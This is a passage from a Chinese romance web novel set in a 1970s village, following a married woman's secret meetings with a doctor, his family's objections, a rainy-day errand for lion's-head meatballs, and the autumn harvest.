周华锦弯了弯唇,点头道:“我知道了,我周五不值班,可以去的晚一些。” 就跟他碰到余银那天一样,不用赶早上班,可以晚一些,正巧能碰到她。 余银轻嗯一声,表示知道了。 她约摸着也快下课了,就提醒周华锦,“就看一眼的,等会就要下课了。” “我明白的,我这就走。”周华锦往后退了两步,与她隔些距离。 现在两个人情况特殊,不能待一起时间太久,那样会对余银名声不好。 而且让人知道了,余银和他都要出事的。 周华锦又往后退了几步,匆匆道:“我先走了。” “你最近有些憔悴了,小周医生。”余银点了下头,朝他道:“没有以前精神了。” 周华锦摸了把脸,他也知道自己最近心力交瘁,确实是憔悴了。 忙转过身子,背对着余银,有些不好意思地说:“我下次肯定不憔悴。” 他回去之后就要每天收拾好自己,万一真的无意碰到了余银,就能给她呈现自己最好的状态。 余银没说话,看着周华锦离开的背影,只望着两秒,就又重新半糖在椅子上,靠着树干看报纸。 只是她虽然眼睛在盯着报纸,但一个字都没看进去,脑子里想的很多。 这个周华锦,她真的选对了吗? 余银想她和周华锦真能走到结婚那一步吗? 她大约记得周华 锦提了两次,他在和家里沟通,但一直却没听他说沟通好了。 说明他家里可能知道他和一个结婚的的女人,或者是离过婚的女人有什么。 但一直没同意。 余银没问过他,只是觉得男人该有的担当,这些事都不是她需要去想去解决的。 可是这么久了,还是没同意的话,到时候该怎么办。 余银觉得自己是不是答应的太草率了,刚才都忘记这一茬了。 可又转念一想,自己也没说什么,更没答应过他什么。 她每次和周华锦,都没有明确的说过什么,余银给自己留了条后路。 又有脚步声走过来,在她旁边停下来,余银没放下报纸,依旧挡着脸,有些不解地问他:“你怎么又回来了?” “又?谁过来了?”男人声音磁性低沉,不是周华锦的声音。 而是游雾州的声音。 余银脸被报纸挡着。她转了转眼珠子,装着有些困倦的眯眼看他,声音黏糊:“不是你吗?我好像睡着了梦见你过来找我?” “是吗?”游雾州眼眸微闪,弯下腰看着她,声音里待着若有似无的诱哄:“还梦到了我什么?” “没能到别的,就是你过来找我,这个梦好像有预知一样。”余银装傻,她眼神澄澈的也看向游雾州。 有些天真的说:“你说我会不会那是被点化了,那也不是做梦,而是这能预知啊,这树其实是活了很多年成精的神仙?” 游雾州对她这番话没有表示不信,因为知道她最近看了很多奇奇怪怪的故事,但想到那事,还是忍不住提醒她:“成精神仙这话别再学校说,小心让人听到了。” 余银也就是跟他这么一扯,她仰起身子,左右看了看,道:“没人在附近。” 她又半躺好,问游雾州,“你怎么知道我在这啊?” 她本来是去办公室了,但进去后觉得没外面凉快,才出来的。 那时候都上课了,游雾州怎么知道的。 游雾州抿唇笑着回答她:“你告诉我的啊。” 她告诉游雾州的?她什么时候说的? 余银出来一个人也没碰到啊,游雾州上课时间看到了她在这吗? 那他看到了周华锦和她说话没。 她不由得有些紧张起来,喉咙有些发紧:“我告诉你的?” “什么时候?我怎么不知道啊?”她强壮镇定,努力让自己看不出异常。 这要是刚联系就让游雾州碰到了,她可真是倒霉催的。 那就真再也不跟周华锦联系了,就老老实实地等着游雾州跟她离婚。 游雾州微微扬眉,懒懒道:“不是你前几天说的吗,你说等凉快了就搬个椅子,过来坐这树下玩的。” 他这么一说,余银想了起来,也松了口气。 “啊是,我想起来了。”余银撇嘴道:“你脑子可真好,前几天的话还记得呢。” 游雾州笑笑没说话,好一会儿,才喃喃道:“谁说不是呢。” 第68章 第68章和周华锦的约还能赴吗…… 周华锦从县里他家搬出来了,现在住在醫院的值班室。 余银说他看起来憔悴了不少,他照了照镜子,镜子里男人的脸庞痩削而带着黄气,还咋着浓重的疲惫感,只有那双眼睛还闪着亮光,才让他看起来不至于太过憔悴。 可他也只是跟余银见过之后,那双眼睛才会有点亮光。 周华锦想到家里的事,有些不知道该怎么跟余银去说。 她答应跟自己见面了,但是…… “咚咚”敲门声响起,打断了他的思绪。 “周醫生,有你的電话。”门外小护士叫他,似乎是有些着急,声音听着在喘气。 周华锦不敢耽误,双手搓了搓脸,拉开门对她点头,“我现在过去,。” 小护士半弯着腰喘气,对他摆了摆手,“你真客气周醫生,好像是你媽媽打过来的,快去接吧。” 她不知道周华锦跟家里怎么了,但这些天他一直住在医院里,不回家。很明显就是跟家里吵架了,刚才谈接到電话是周华锦媽妈打来了,就赶紧让稍等一下下。 小护士着急的让接電话的先别断,等一会会儿就把周医生叫过来。 周华锦的腳步頓了下,朝着電话走过去,然后接起电话放在耳边,但却有些沉默。 电话那头,周母的声音传来,叫了他一声。“阿锦。” 周华锦垂着眼睫,隔着电话轻嗯一声。 气氛有些僵硬的沉默。 以前周华锦会因为值班,也留宿在医院,那时候晚上周母就会在晚上给他打个电话。 那时候他们之间打电话不会这么沉默。 周母有些难过,她问周华锦,“最近过的好嗎,都没让你做过什么活,你自己这些天怎么吃飯洗衣服的?都是去外面吃的嗎?身上还有钱和票嗎?” 她一张口就是对周华锦孜孜不倦的关心。 周华锦有一瞬间的恍惚,回道:“嗯,还不错。” 他给一个年纪稍长的护士一些钱,帮他把衣服带回家洗,还帮他带一份飯。虽然没有家里舒服,但確实也还不错。 “你不不准备回来了?”周母道:“就因为我们不同意,你找一个離过婚的,就不要你的爸爸妈妈了,还有你爺爺奶奶,他们那么疼你,你也都不要了嗎?周华锦。” 就因为要给周华锦介绍对象,他拒绝了,并说自己有喜欢的人了。 全家一听说他有喜欢的人,那叫一个开心,可谁知他又说,对方结过婚。 结过婚?是寡妇还是離婚了?一家人頓时笑不出来。 周华锦铁了心要和那女人结婚,还把衣服都带走了,抛弃了这个家。 周父让人打听了,他在医院根本没和哪个结过婚的女人关系很近,可儿子又这样说,甚至不惜用離家出走,来让他们同意。 可他们家確实不能接受,但又实在舍不得这个儿子吃苦。 已经两三个月了,周华锦以后没回来。 故而有了今天周母的这个电话。 周华锦抿了抿唇,然后道:“妈,你们是同意了吗?” 电话那头响起东西摔到地上的清脆声响,还有听得很清楚的关门声,周华锦大概知道那是周父離开了。 然后周母顿了两秒后,说道:“你只说她结过婚,但又没告诉我们她多大年纪,你们怎么认识的,家里都什么情况,这些你都没跟我们说过,你要我们怎么同意。” 她语气有些生气,“你这样什么也不说,我们不同意在正常不过,你怎么能离家出走来威胁我们,周华锦。” 她说的很在理,哪有要结婚,什么都不告诉父母的,家里什么情况都不知道。 又不是四旧,两眼一抹黑嫁的人长什么样都不知道。 可人家也好歹彼此家里都知道家里的情况。 周华锦这倒好,捂的严严实实,不知道的还以为是周家人多刁难一样。 还是说那女人不止结过婚这么简單? 周母不敢深想,电话里周华锦却是沉默着。 他当时確实不敢说太多,余银不仅没离婚,也没说跟他能有什么,他要是说了,周母一定会托人打听。 那样就会让人知道了,对余银很不好。 而现在,余银依然没离婚,他更不可能说了。 周华锦的沉默让周母心里咯噔一声。 她同样也有点郁闷和好奇,他的儿子并不差,甚至可以说很不错,究竟是一个什么样的女人,还结过婚,就把她儿子迷的团团转。 结 过婚?难道是现在还没离婚? 一股寒意顺着周母腳底网上,她甚至有些不敢相信的问周华锦,“你实话告诉我,那个女人现在到底离婚了没?” 周华锦握着电话的手微微收紧,他不敢回答,除了害怕余银的名声不好,就是担心家里人知道,他其实喜欢上了一个有夫之妇。 这是不可能被允许的,破坏别人家庭那就是犯错,是要…… 周华锦张了张口,喉咙却像被堵住了一样,说不出话来。 他的再次沉默,让周母眼前一黑,差点晕了过去。 周父因为生气没在房间里,周母扶着桌子,咬着牙恨铁不成钢地说道:“阿锦,你糊涂啊。” “你是接受过教育的,你也应该清楚你现在的行为有多恶劣,你怎么能这样做啊,周华锦,你,你真是糊涂啊。” 周母的话一句一句顺着电话流进他心里,装着那警钟般的提醒他,这是多么错误和恶劣的事情。 “可她并不幸福。”周华锦叹气道。 “那你能让她幸福?”周母言语犀利,“你应该女人的名声有多重要,你却还要这么做,你还跟家里说她结过婚,你有没有考虑过那个女人的处境?你真是太自私了,我怎么把你教成了这样周华锦。你只考虑你自己的私心,你连我和你父亲,你的爺爷奶奶,你所做的事情一点被发现,就会连累我们,你从来没想过。” 周母的质问句句在理,她不禁怀疑自己,是否真的如周父所说,因为让周华锦太过顺遂,所以他才会这样吗? 她深吸一口气,说道:“周华锦,有时候人活着,不能只为了自己的私心。有时候遗憾未必不是一种圆满,或许是真的因为你从出生到现在,我们将你保护的太好了,所以才会让你做这样的事来。你的事我们不会再管,我会如实告知爷爷奶奶和你父亲,他们有权知晓,我们也要为你的错而做好该有的应对。” 周母本打算直接挂了电话,但转念一想,就下一句话才挂了。 “你確定她会离婚跟你在一起吗,周华锦你真的太天真了。” 这句话几乎瞬间击破了周华锦内心的美好幻想- 余银不知道游霧州看到没,她私下偷偷问了游霧州那节课的学生。 游老師有没有中途出去过,那个学生告诉她没有,一直都在教室,余银这才心里松了口气。 这事做的跟做贼一样,虽然面对游霧州并没有太多心虚,但总覺得哪里怪怪的。 可能是因为她这可不就是做贼一样吗。 余银在周五这天,好巧不巧地下雨了,她看着霧雨濛濛的天,在心里默默地叹了口气。 老天爷还是……怎么说呢…… 明明是给他们创造机会,却又在今天下雨了。 下雨了她还怎么出去啊,万一半路再下大了怎么办,而且下雨了也还不好骑车。 但是都答应周华锦了,她到底去不去啊。 去了会很麻烦,又是编理由,又是去的路上也不好走。不去的话,最多让周华锦空等一趟。 周华锦应该能理解她吧,毕竟都下雨了,没去成的话再正常不过了吧。 “可惜了,怎么就偏偏下雨了。”游雾州看了眼天,摇着头说道。 余银拿着报纸展开,随意的问了句,“你今天有事啊?” 她一遍看报纸,一边偷偷打量着游雾州。 游雾州拿起桌子上的课本,对她道:“听林老師说今天国营大飯店会做獅子头,你不是没吃过吗,本来想着让你早点去多买一些,晚上还可以带回家让舅母和娘也尝尝的。” 他有些惋惜的说着,看得出来是对国营大飯店的獅子头惋惜。 余银听他这么说,佯装无意的说了句,“就今天做吗?雨停之后还做不?” 国营大饭店难不成近期就做这一次?要是就今天,她要是有个想法。 游雾州摇头,“林老師说就今天,再有下次估计不知道要多久了了,这獅子头做法也复杂,会做的那師傅把工作卖给了别人。” 林老师家里有个在国营饭店上班的表哥,每天饭店里面要做什么菜,有什么事,他都第一时间能知道,也会告诉游雾州,如果他想吃或者好吃的菜,就可以那天去。 免得有时候去了,空跑一趟。 毕竟去一次就是为了好好吃一顿,自然要吃自己喜欢的东西。 而獅子头一般很少做,他们还没尝过,可惜还没吃到,师傅就要走了。 以后也不一定能吃到了,确实挺让人惋惜。 余银也顺着他的话说:“那是挺可惜的,偏偏今天下雨,还没尝过那狮子头的味道呢。” “要是这雨停了,或者就是这濛濛小雨。”游雾州原本走到门口,又倒了回来,“咱们就中午去吃,要是雨下大了,就算了,再等以后。” 毕竟这可能就是最后一次了,他们不可能没事跑到县里的饭店吃饭,而且县里的饭店也不知道哪天有狮子头。 余银抿了抿唇,提议道:“反正也不远,我走着过去买吧,毕竟以后都吃不到了,索性也才刚开始下雨,地还没湿呢。” 这样狮子头也吃到了,也有了正当理由,也没失约周华锦。 真是一举三得。 余银突然覺得这雨下得,倒也没没那么故意了。 游雾州掀眸看她,他笑道:“也行,毕竟就这一次了。” 他去办公室的一角拿了把伞递给余银,“带着伞去,要是下大了也不至于淋着啊。” 余银接过伞,问他:“狮子头今天限量吧,要不要帮林老师也带一点。” 像这种稀少出现的,每次都会限量,不让人一次买很多。 她们想带回家呢,單只有几个肯定不够。 游雾州顿了下,他道:“林老师那估计有多的票,我去问问看。” 他要去问林老师,也要等下课,这就马上上课了,余银把伞靠着墙放,“等待会下课吧,马上就上课了,也不急这一会儿。” 游雾州想了想也是,就没急着去找林老师,拿着课本要离开,“那我先去教室了,你在这等我晚会拿到票给你。” 这晚会就是一个节课过去,林老师早就让他表哥弄好了,把多的钱放饭盒里给他表哥就行了,不然人太多你票也多别人不愿意。 余银今天比那次去的有点晚,也不是有点晚,是挺晚的。她这次还是走路,即使到了镇上,估计也不一定能碰到周华锦。 她走的稍微有点快,呼吸都有些急促,而且虽然雨下的小,但路上的杂草也都被打湿了,她穿的布鞋,腳背上那层步都湿了,还粘着杂草。 余银的脚背湿漉漉地,她不喜欢这样,但今是必须要去的,也不能掉头回去。等去到县里的时候,早就过了周华锦上班的时间。 还以为周华锦可能会等一会她,但也不会等她这么久,等余银到的时候,周华锦还真一直等着她。 “你怎么还在这等着?”余银覺得他真傻,忍不住说道:“这下着雨,我又骑不了车,不一定会来的,就这么干等着,你怎么这么傻啊。” 周华锦看着她先是愣了一下,可能是不知道余银会不会来,神色有些不好,但看到她,很快就扬起嘴角,很开心的说着:“可你这不是来了吗。” 他也不知道站这等了多久的余银,看了一眼他的伞面,水迹很深,估计是等了很久的样子。 也幸好今天的一直都不大,要不然这人站这半天,衣服都要湿了。 余银轻轻提了口气,“下次天气不好,我不来镇上的,你也别在这等着了。” 这人也不像一根筋的人啊,怎么这么轴。 “我知道了。”周华锦点头应着。 两人面对面站着,镇上因为下雨,没什么人,他们两个站这还挺突兀明显的。 余银看了眼左边马路,对他道:“不能只知道了,你记住了,别这么犯傻。” 要不是接触过他一段日子,余银都要以为他这是故意的苦肉计。 好让自己生病了,然后再让余银感到愧疚。 她不喜欢这样,被约束的感觉。 可以因为某件意外的事情,但前提是那真是“意外”的。 余银抿着唇认真道:“你这样故意生病了,我不仅不会对你感到愧疚,只会觉得你真傻还犯蠢,而我最讨厌这样了。” “我不想对小周医生的印象而变得不好的。” 周华锦身子顿了一下,他确实有一点私心,如果生病了余银会不会因为没来而担心,对他感到愧疚。 听到余银的这番话,他连忙解释道,“我,我没有。” 他声音有些艰涩,“我承认确实会有那么一点私心,看看你会不会因为没来、而有那么一点点的 担心或者愧疚。但我更多的是迷茫,在这等着你是我唯一能明确的事,我不知道自己要做什么,就想在这等着,不管你来不来的。” 周华锦其实也不知道余银会不会来,他知道天气不好余银很有可能不来,但他心里还是会有那么一丝丝地期待。 如果余银来了,他没在怎么办?如果他前脚刚离开,后脚余银就来了,他们就这样错过怎么办? 他不甘心,所以才想一直等着。 但他真的等来了余银,还没等多久。 余银有些不明白,微微扬起伞抬头看着对面伞下的他。 周华锦垂眼,慢慢道:“我也答应你的了,不想食言也失约。” “那如果我没来,你会等到什么时候?”余银皱着眉问他。 如果是余银,在不确定对方是否会来的时候,她会等这么久吗? 反正她现在不会,她喜欢事事有掌握。 不确定的事情,大部分都不会如意,很少可能会让人如意。 也就是这样,余银今天才会必须来,即使不是因为狮子头,她也会找理由来。 因为只有来了,周华锦才会对她的某些不信任,都抛之脑后。 而会更加忠诚对她。 周华锦也确实对余银今天过来,很开心,也将他母亲说的那些话,抛之脑后。 他确实是犯傻,余银也说他傻,可她还是来了。 周华锦垂眸就能看到余银的鞋子上,和裤腿上都有被雨浸湿沾染上的杂草。 她的脸也因为走的着急而泛着红。 余银来赴约了,这这都是最好的证明,他还胡思乱想些什么。 他笑了起来,“我可能会等到快傍晚,你实在赶不来的时间,但这是我心甘情愿的,并不是为了让你愧疚的。” 周华锦脑海里慢慢组织语言,把他心里想的都告诉余银,“我是因为你,也是因为我自己,我可以落空,但如果你真的来了,我不想落空,说这些也不是让你感动什么。就是你问我了,而为把我想说的告诉你,这么简单。” “是吗?”余银淡声道:“可你说了这么多,真的不想让我有所感动吗?那你完全可以藏在心里自己知道就好了啊,为什么要说出来,说出来我的心里会有负担的。” 她三言两语,就将周华锦内心那点拙劣藏起的想法点出。 既然不想让她感动,不想让她愧疚,那干脆什么都别说就行啦。 还让她听了那么多。 周华锦脸有些不好意思的微红,他是这么想的吗? 余银说的好像是这样的,只是他自己没发觉,无意识的说出被点明后,才惊觉到的。 他轻咳一声,“我,我好像潜意识里是这样想的,但我也是想跟你证明一下自己。” “证明什么?”余银不解,“有什么好证明的,我就问问你要在这等多久才会走。” “是我把简单的事情复杂化了。”周华锦有些抱歉的说着。 余银点头,“是你把简单的事情复杂化了,不过没关系,我并不是很介意。” 她不介意,也代表不关心。 但周华锦显然没理解到,他紧紧锁着眉,向余银保证:“我下次不会了,我尽量聪明一点,不让你对我印象不好。” “不用。”余银摆手拒绝,秀美微蹙,“你就这样挺好,又不是真傻子,也不是真笨,保持这样挺好。” 再聪明点,她也不一定能拿捏住他,还要变换策略。 做的事又是不好让其他人知道的,变换策略对她会很不利。 这样有些简单的周华锦,对余银来说挺好的。 余银跟他说着话,也约摸着时间,和周华锦站一块太久,也会被偶尔路过的人起疑。 而且今天的狮子头肯定也会有人去的早排队,卖完了她不就白跑一趟,还会被起疑。 “我还要去办点事。”余银往周华锦侧前面走了两步,“不能去晚的,你也快回去吧,虽然雨不大,但也可能会着凉。” 她话说完,周华锦就表示理解,“那你快去吧,我也就走。” 又叮嘱着她:“你也别着凉了,回家熬点姜茶驱驱寒,现在立了秋以后的每一场雨,都带着寒气,你照顾好自己。” 余银微微点头,打着伞离开了。 两个人远远看着就像是擦肩而过的路人。 余银去到国营大饭店果然已经有了排队的,她脚步加快排在队伍里。 那林老师的表哥,见过她和游雾州林老师一起来,也知道余银。 他等快排到余银的时候,对她小声道:“饭盒给我,等会买完在拐角处等我一下。” 余银左右看了看,把那几个装着钱的饭盒给了她,然后自己排着队,只买了限量的份。 这事让人看到也不好,虽然国营饭店里的人私下都会这么做,但为了谨慎一点,林老师的表哥在那拐角处的道道里猫着。 等余银过来,把东西往地上一放,从道里那头离开了。 余银拿着好几份狮子头,撑着伞往学校赶去。 第69章 第69章我愿意等你离婚的 余银还没到学校的时候,就听到了余庆期盼的声音叫她。 “姐,你可回来了。”余庆站朝着余银跑过去,但眼睛一点没看着她,而是盯着她的东西。 仿佛叫的也是余银手里的东西。 “哼哼,你拿着吧,我累死了快。”余银把装着獅子头的飯盒递给余庆,好笑道:“就没见过你接我接的这么积极过。” 也是不枉费她走这一遭,鞋子都湿完了,也幸好天还热着,不然冻死她。 “保证完成任务。”余庆闻着那香味儿,吞了吞口水,将那飯盒拥抱在怀里,像是极为珍贵的宝玉,神色虔诚又慎重。 余银笑了笑没说话,给余庆撑着伞,往学校里面走。 游雾州和林老师没出来,在办公室里等着。 这獅子头都是有数的,她只能买三个,再加上林老师表哥那买来的四个,一共有七个。 正好余家每人一个。 她还买了几个馒头,和一大瓷缸的米飯,畢竟也是拖了林老师的关系,也给他带了点米和馒头。 余庆能吃一整个獅子头,虽然高兴,但还有一些不好意思。 他扯了扯余银的袖子,在她耳边轻声道:“姐,咱俩吃一个吧,让姐夫吃两个,畢竟是他挣钱出钱,咱们两个尝尝味算了。” 没想到余庆还想的挺多,这要时虎丫,估计还要在扒拉余银的一半吃了。 余银听完挑了挑眉,看着正在盛米的游雾州一眼,对余庆道:“真就吃半塊?这可你说的啊。” 余庆有些不舍的看着那翻着晶莹汤汁的獅子头,他使勁咽着口水,点头道:“就半塊够了。” 余银拿着筷子就把一个狮子头从中间夹破,一半给了余庆。 另一半给了游雾州碗里。 “姐?”余庆似乎是思考余银这么做理由,他提醒的叫了她一声。 余银没搭理他,问游雾州,“余庆说他吃一半就够了,你俩分一个吧,我想吃两个。” “我这半给你也行。”游雾州说着就要把那半塊给余银,但被余庆给拦下了。 他质问余银,“姐你怎么能这样啊?” “我怎么了?”余银反问,“我想吃两个有什么不对吗?” “游雾州我能吃两个吗?”余银歪头看向游雾州。 “为什么不。”游雾州笑道:“不然把余庆那半也给你,你一个人吃三个。” 余庆抿着唇,盯着余银,有些生气。 余银轻哼一声,对着余庆说:“来,把你的也给我吧,人游雾州都说了。” 她伸着筷子就夹走那半块狮子头,余庆很不甘,可也没阻拦她,就看着她夹走走。 林老师对他们这一幕有些不理解,但毕竟是人家的家务事,也不好管。 他装好飯跟狮子头,就用口型问游雾州:“我这还有多的,你看要不要?” 游雾州对他笑着搖搖头,下巴朝着门口抬了一下,示意他快走吧,真没事。 林老师拿着他的饭和馒头装好,出去进了一间教室去。 而余庆看着碗里白米饭,和上面有的粘到那狮子头的汤汁,他夹起一粒放进嘴里。 只那米饭上粘到的一点点汤汁,他就能品尝到那狮子头的美味。 他边吃边吞口水,夹起一块白米饭混着一粒粘过汤汁的米饭吃。 余银恨铁不成钢的喊他,“余庆,你后不后悔说就吃一半狮子 头,现在一点都吃不上?” 余庆闻言一顿,他看了一眼游雾州,搖摇头说:“狮子头是姐夫买的,他怎么分都行,我不后悔啊。” 他娘跟他说了,游雾州和余银結婚了,他俩虽然疼他会带着他吃好的,但他要懂得感恩,也知进退,不要什么都想吃,什么都想要。 而为,余银不上工也不挣钱,他爹现在可以养着,但游雾州不一定心里真的愿意,有时候他不要让余银为难,要听游雾州的话。 他虽然也想吃,但是还是不后悔,他可以回家跟他爹说,让爹买。 余银叹了口气,问余庆:“你想吃吗,就问你想不想,不要考虑其他的。” 余庆思索片刻,点头道:“想,但我不后悔。” 说完他朝余银和游雾州夹了一筷子米饭塞嘴里,吃得很香说:“白米饭也很好的,我喜欢吃白米饭的。” “你真是无可救药。”余银揉了揉脑袋,把那狮子头夹给余庆,又给他多夹了一半,“自私点吧余庆,想吃就吃,为什么要考虑那么多,又不是不够吃,每个人都有一个的。” 她把游雾州碗里那一半夹自己碗里,又把剩下那一个给了游雾州。 “你碗里的饭吃过了,别叨我俩碗里。”余银阻止要还回来的余庆,她说道:“给你你就吃,这虽然是游雾州买的。但他的工作也是托了你爹是大队长的关系,别吃的有负担。” 这余庆,除了一根筋的气人,还想的实在太多了。 游雾州也接过余银的话,“对,这都是感谢你爹,而且咱们是一家人,你要是不吃,就是没给我当一家人看。” “赶紧吃,凉了就不好吃。”余银在旁边道。 余庆听了这话,才垂下头夹了很小块放嘴里。 都是肉做的,咸香口味,入口即化,还带着点鲜甜,真的很好吃,这个狮子头。 他极为珍稀的,每次都吃一小块就着米饭。 余银和游雾州看着余庆的样子,笑着摇了摇头。 狮子头確实好吃,但吃两口就有些腻,余银是夹着吃的,没咬着,她把那狮子头给了游雾州。 “你吃吧,我不想吃了。”余银放下筷子,吃着膜。 她不太爱吃米饭,比较喜欢馒头和饺子面条这类的。 游雾州知道她不是客气,而是真不想吃,狮子头放的油和调料不少,確实会腻得慌。 余银口味比较清淡,倒也正常。 剩下的四个狮子头带回家后,除了一个单独给了虎丫吃,余阿娘把那个四个丢进锅里煮了面条吃。 狮子头不小,又都是肉沫,这样一煮散开,都能吃到,又香又没那么腻。 今天雨不大,但也带了点两气,煮上一锅热乎乎的面条,里面肉和油还不少,味道可不是一般的好吃。 余阿娘也知道他们晚上会能吃一点,特意下了一大锅,连余银也吃了一大碗。 吃完饭,身上也出了汗,又加上下雨,身上黏糊糊地。现在没大太阳,也晒不了洗澡水,只能烧水洗。 虽然結婚都快半年了,两个人赤口相见次数也不少,但要是都在屋里一块洗澡,还是有些不好意思的- 往后那两三,周五都没什么事,余银只赴了一次约,后面那次她没去,已经提前说过了。 正好在秋假之前那周,余银跟周華錦提前说过了,周五会过去。 秋假一放,他们就都要回家去地里幹活,要收玉米,剥玉米,搓玉米,还要薅花生,晒花生,剥花生,黄豆绿豆也是,还种的有棉花和红薯。 秋收要比收小麦累的多,不仅收的多,还要再播种小麦。 收完且还有得忙,基本上就没什么时间和理由去镇上了,更见不了他。 余银推着车走到早已等着周華錦面前,她覺得今天的周華錦有些不一样。 他看起来眉眼喊春,神情有些激动,感覺像是发生了什么大好事。 余银没问他,而是叹了口气,告诉他,“我可能后面要一两个月都不过来了,你也知道农村要秋收了,到时候很忙,没时间过来了。” 她说的都是真的,也不是找理由推脱。 周華錦表示理解,他浅笑着问她:“那我下队的时候,能找你吗?” 怕她误会,又解释道:“是正规流程的下队,不是打着幌子的。” 上次余银说要两周不能过来,他就提出打着医生的幌子去学校,被余银狠狠拒绝了。 但这次是医院有规定的,在秋收的时候,他们会下队看病。 余银覺得他去学校,是因为他如果去学校有些太刻意了,会引起游雾州怀疑。 但这几个月,周华锦是下队去过楊柳村的。 再去楊柳村,就算遇到余银也不会被引起怀疑的。 她想了想,点头应道:“既然是工作就去,都在村子里肯定会遇到的,而且我阿舅跟你还认识的。” 余银说话很小心,没说让周华锦去哪里找她,毕竟一个村子的,肯定会碰到的。余阿舅又是大队长,必然两人能见到。 “我知道了。”周华锦眉眼浅笑,“那等我去的时候,带一个好消息给你。” 他面色带笑。俨然一股喜悦之意。 余银有些好奇,问他:“是什么好消息?” 周华锦买了个关子,“到时候告诉你,反正是会让你高兴的好消息。” 会让她高兴的好消息?余银不禁想会是什么好消息。 她张了张口,想再问周华锦,就见他笑着摇头:“不能说,说出来就不叫好消息了。” 余银撇了撇嘴,无奈的道:“好吧。” 两人没说多久的话,他们每次见不到半个小时就分开了。 见完周华锦后,余银就骑着车往学校走,小风吹着还挺凉快的,只是等秋收以后,天也要冷了。 她不是太想每次再去镇上了,这太远了。 而为骑车吹着风肯定很冷。 等下次见到周华锦后,也要把他的态度確定下来了,早定下来早安心。 不然偷偷摸摸的,骑车还怪累的- 秋假刚放第一天,大早上就都开始忙着上工了,也幸亏平时起的也比较早,要不然这早工余银还真不一定能起来。 黄豆和绿豆比玉米成熟的快,他们要趁着早上去收割,要不然等太阳出来一会儿,吧豆荚一晒就炸开了,粮食就容易掉地理糟蹋了。 但肯定还会有熟的早炸开的黄豆掉地上,这个时候学习的孩子们也都放假了,跟在地里捡黄豆和绿豆。 中午余银幹活没那么快,就由他回家给家里做饭,把菜洗好放那等着游雾州回来炒。 一家人吃过饭就不停歇的又去地里幹活,可能是太久没幹过活了,一天干下来腰都是疼的。 游雾州估计也是因为如此,看着给他也累得不轻,不过他有力气也能干,分给他了不少活。 余银等他洗完澡,她拍了拍床,“来我给你摁摁。” 毕竟这一个月以来,说不让碰她,就真没碰过她一次。 她不可能就一直冷着他的,也总要贴心一点的,正好这秋收给了她机会。 游雾州微微挑眉,往床上走 过去,他声音有些疲惫的沙哑:“你哪不舒服,我给你揉揉?” 他回来的时候看到余银时不时揉腰,估计是累到腰了。 从床上上去后,他手就往余银要上放过去揉着。 手勁足,又下手有轻有重,余银舒服的就浑身没勁了。 刚想往床上一趴、就想到是她给游雾州摁的啊,怎么互换角色了。 余银直接坐起来,扶着游雾州肩膀往下摁,“你趴着趴着,我给你摁。” 游雾州腰确实也有点疼,也就一个月没干过活,他就身体退步了不少。 他也就顺势往床上一趴,感叹道:“太久没干活了这是,都有些吃不消了。” 余银无声地笑了下,手放在游雾州腰上找位置,“是这吗?还是这?” 她一点一点找着位置,然后学着游雾州刚才给她摁的那两下。 余银的学习能力很强,除了她不感兴趣的,当然做饭除外,因为做饭她喜欢加入自己的想法。 “这样行吗?要不要在重点?”余银使着劲问他。 游雾州嗯了一声,“可以,你摁的正好力气重点也没事,我皮厚。” “行,你皮厚哈。”余银乐了,她手下使着大劲,“这行吗?啊?” 她就不信游雾州不疼,放弃用手揉,改换胳膊肘去揉。 也不知摁到了他腰上的哪个地方,原本一直闷着不吭声的人,突然一声抑制不住的闷哼。 余银笑了下,没在使劲了,“对了,你想上大学不。” 她今天听余阿舅和余阿娘说话时,提到了工农兵大学,这个是村里能推薦去上的大学。 现在还没恢复高考,能上大学只有工农兵学校的名額。 而且,她要是想离婚的话,可以拿这个大学的名額换。到时候也说不定上大学的游雾州,直接就跟她离婚了。 游雾州闻言,顿了一下,问她:“阿舅手上有名額?” 余银知道这个,估计也是从余阿舅那里听来的,余阿舅作为大队长,手上确实有推薦上工农兵学校的名額。 没人不想上大学,游雾州也不例外。 “你想不想去上大学。”余银问他。 可能人选早就定下来了,只是那时候游雾州还没跟余家結亲呢。 余阿舅就没说要把名额给游雾州,但她去求求余阿舅,说不定这个名额就是游雾州的的了。 “今年这个名额不是我。”游雾州说的肯定。 每年都会有村里推薦的名额,但今年不会是他。 “为啥?为啥不能是你。”余银有点不明白,她换了只手摁,“你不是成分没问题吗,咋不能去上大学。” 游雾州笑了下,说道:“不是成分问题,是今年不能给我的。” “可你这么努力不是为了上大学的名额吗?”余银难以理解,明明游雾州下乡后从来都不懈怠。 你还说他是爱干活,余银不信。 他一个城里人,怎么可能爱干活。 而只有表现的好人,才有资格被推薦去上工农兵大学。 游雾州来到杨柳村的表现,不都是为了这个名额吗? “今年反正不能推荐我的。”游雾州并没有否认,他确实是为了上大学的名额这么努力的。 不然他又不是有劲没地方使,在知青点时,干嘛每天都那么卖力,有时候还帮知青点的其他人干活。 游雾州跟她解释:“阿舅还要往上升,我今年才跟你结婚,要是就我报上去了,难免会不覺得这名额的公平性。而且,这名额给我还会给余阿舅落下把柄,所以为了咱们家,不知今年,明年也不能把我报上去。” 他当老师都有人举报,要是再要去上大学,肯定还会连累余家人。 所以这两年他不考虑上大学。 余银觉得就等着拿名额跟他换离婚,这两年都不能推荐他? 她忍不住道:“余阿舅不能自己报,那要是村里人都说让你去呢?你也不去吗?” 余阿舅自己推荐没信服力,那要是村子里人都推荐呢。 “这不太可能,知青点的那群人也惦记着呢。”游雾州把她她拿下来,翻了个身搂着她道。 “为什么不可能啊?”余银说:“知青点的表现不好,选不上很正常,但你表现好,是大家都看得到有目共睹的。” 就因为游雾州跟她结婚了,有这么一层关系,就否定了他的表现? 那这不是更不公平了。 游雾州摸了摸她的头,轻声道:“大学又不会长腿跑了,晚两年也没事,还是小心点好啊。” 余银忍不住坐起来,“那为什么要晚:早点去不好吗?万一大学长腿跑了呢,高考不也是说没就没了。” 游雾州也跟着起来,两只手环着她腰揉着,“但国家不可能让咱们没有学上的,所以肯定不会长腿跑的。” 他是觉得高考吃迟早都要恢复了,现在都只是暂时的。 余银只是没想到,游雾州竟然不能去上工农兵大学,还不是上不了,而是因为和余家结亲这关系在。 他不能被推荐,除非晚几年。 她抿着唇,低声问游雾州:“你是不是觉得工农兵大学是推荐,没那么好,所以才不想去的啊?” 工农兵大学都是被推荐进去的,虽然有学上总比没学上号,但游雾州其实对这个学校其实一直存在过质疑。 他是在高考后的一年,工农兵大学没了后说的。 游雾州确实存疑,但也不至于不想去,他无奈道:“是和阿舅的前途相比之下,我还是晚两年去上大学比较稳妥。” 